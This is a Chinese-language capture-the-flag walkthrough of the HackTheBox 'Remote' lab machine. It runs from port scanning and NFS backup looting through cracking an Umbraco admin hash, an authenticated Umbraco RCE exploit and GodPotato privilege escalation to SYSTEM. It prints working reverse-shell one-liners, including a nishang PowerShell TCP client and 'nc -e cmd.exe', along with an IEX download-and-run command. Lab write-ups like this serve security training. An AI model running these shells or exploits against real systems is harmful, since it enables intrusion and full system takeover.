目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用ftp尝试匿名登录靶机FTP服务
使用smbclient尝试匿名登录靶机SMB服务
边界突破
使用gobuster对靶机进行路径FUZZ
使用浏览器访问/umbraco路径
使用列出靶机NFS服务器中的所有共享
在当前目录新建backups目录,并将靶机NFS服务器中的/site_backups共享挂载至该目录
在Web.config文件中可以找到关于Umbraco版本信息
尝试在该文件中匹配SQL相关字样
我找到该文件,并尝试寻找hash密码
使用john对该哈希值进行字典爆破
使用上述凭证成功登入/umbraco路径
使用searchsploit检索该WebAPP漏洞
在攻击机本地侧准备好nishang的反弹Shell
横向移动
查看靶机系统信息
查看靶机系统中存在的账户
查看当前账户拥有的特权
查看靶机系统中安装.NET框架版本
使用impacket-smbserver在攻击机本地侧开启SMB服务器
靶机直接使用GodPotato-NET35反弹Shell回攻击机
再次查看当前账户特权信息
权限提升
连接至HTB服务器并启动靶机
靶机IP:10.10.10.180
分配IP:10.10.16.21
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.180 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.180
- 需要重点关注的服务
21端口:FTP服务
80端口:HTTP服务
139、445端口:SMB服务
5985端口:Win-RM服务
111、2049端口:NFS服务
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.180
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.180
使用ftp尝试匿名登录靶机FTP服务
ftp 10.10.10.180
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49687|)
125 Data connection already open; Transfer starting.
226 Transfer complete.
ftp> exit
221 Goodbye.
- 靶机FTP服务器中什么文件都没有
使用smbclient尝试匿名登录靶机SMB服务
smbclient -L \\10.10.10.180
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# smbclient -L \\10.10.10.180
Password for [WORKGROUP\root]:
session setup failed: NT_STATUS_ACCESS_DENIED
- 无法匿名列出靶机SMB服务器中的任何共享
边界突破
使用gobuster对靶机进行路径FUZZ
gobuster dir -u http://remote.htb/ -w ../dictionary/Common-dir.txt -x php,jsp,asp,aspx -t 200
- 此处我注意到访问/install路径会被重定向至/umbraco
使用浏览器访问/umbraco路径
使用列出靶机NFS服务器中的所有共享
showmount -e 10.10.10.180
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
在当前目录新建backups目录,并将靶机NFS服务器中的/site_backups共享挂载至该目录
- 由文件名可见,该备份关于Umbraco
在Web.config文件中可以找到关于Umbraco版本信息
- Umbraco_7.12.4
尝试在该文件中匹配SQL相关字样
cat Web.config | grep -i sql
- 由输出可见,该WebAPP使用MySQL,且信息存储在了Umbraco.sdf文件中
我找到该文件,并尝试寻找hash密码
strings App_Data/Umbraco.sdf | grep hash
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa
- 将该哈希值截取出来,并保存到文件中
echo 'b8be16afba8c314ad33d812f22a04991b90e2aaa' > hash
使用john对该哈希值进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt
账户:adminadmin@htb.local
密码:baconandcheese
使用上述凭证成功登入/umbraco路径
使用searchsploit检索该WebAPP漏洞
searchsploit umbraco
- 将有关7.12.4版本的RCE脚本拷贝到当前目录中
searchsploit -m 49488.py
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# searchsploit -m 49488.py
Exploit: Umbraco CMS 7.12.4 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/49488
Path: /usr/share/exploitdb/exploits/aspx/webapps/49488.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable, with very long lines (723)
Copied to: /home/kali/Desktop/temp/49488.py
- 尝试利用该脚本
python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a whoami
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a whoami
iis apppool\defaultapppool
在攻击机本地侧准备好nishang的反弹Shell
$client = New-Object System.Net.Sockets.TCPClient('10.10.16.21',1425);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- 通过上述EXP脚本加载
python 49488.py -u 'admin@htb.local' -p 'baconandcheese' -i 'http://remote.htb' -c powershell.exe -a "-noprofile -command IEX(New-Object Net.WebClient).downloadString('http://10.10.16.21:6666/Invoke-PowerShellTcpOneLine.ps1')"
- 攻击机本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49697PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
- 在C:\Users\Public\Desktop目录下找到user.txt文件
横向移动
查看靶机系统信息
systeminfo
查看靶机系统中存在的账户
net user
PS C:\> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
WDAGUtilityAccount
The command completed with one or more errors.
查看当前账户拥有的特权
whoami /priv
- 由输出可见,该账户拥有SeImpersonatePrivilege特权因此可以尝试土豆提权
查看靶机系统中安装.NET框架版本
ls C:\Windows\Microsoft.NET\Framework
- 由输出可见,靶机已安装.NET4
使用impacket-smbserver在攻击机本地侧开启SMB服务器
impacket-smbserver temp . -smb2support
- 控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
靶机直接使用GodPotato-NET35反弹Shell回攻击机
.\GodPotato-NET35.exe -cmd ".\nc.exe -cmd.exe 10.10.16.21 1426"
- 攻击机本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1426
listening on [any] 1426 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49716
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.Z:\>C:
C:\>whoami
whoami
nt authority\network service
再次查看当前账户特权信息
whoami /priv
- 由输出可见,当前账户拥有SeAssignPrimaryTokenPrivilege、SeImpersonatePrivilege特权
权限提升
接着如法炮制从普通Web用户提权到authority\network的步骤
GodPotato-NET35.exe -cmd "./nc.exe -e cmd.exe 10.10.16.21 1427"
- 攻击机本地侧nc收到回显
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# rlwrap -cAr nc -lvnp 1427
listening on [any] 1427 ...
connect to [10.10.16.21] from (UNKNOWN) [10.10.10.180] 49727
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.Z:\>C:
C:C:\Users>whoami
whoamint authority\system
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件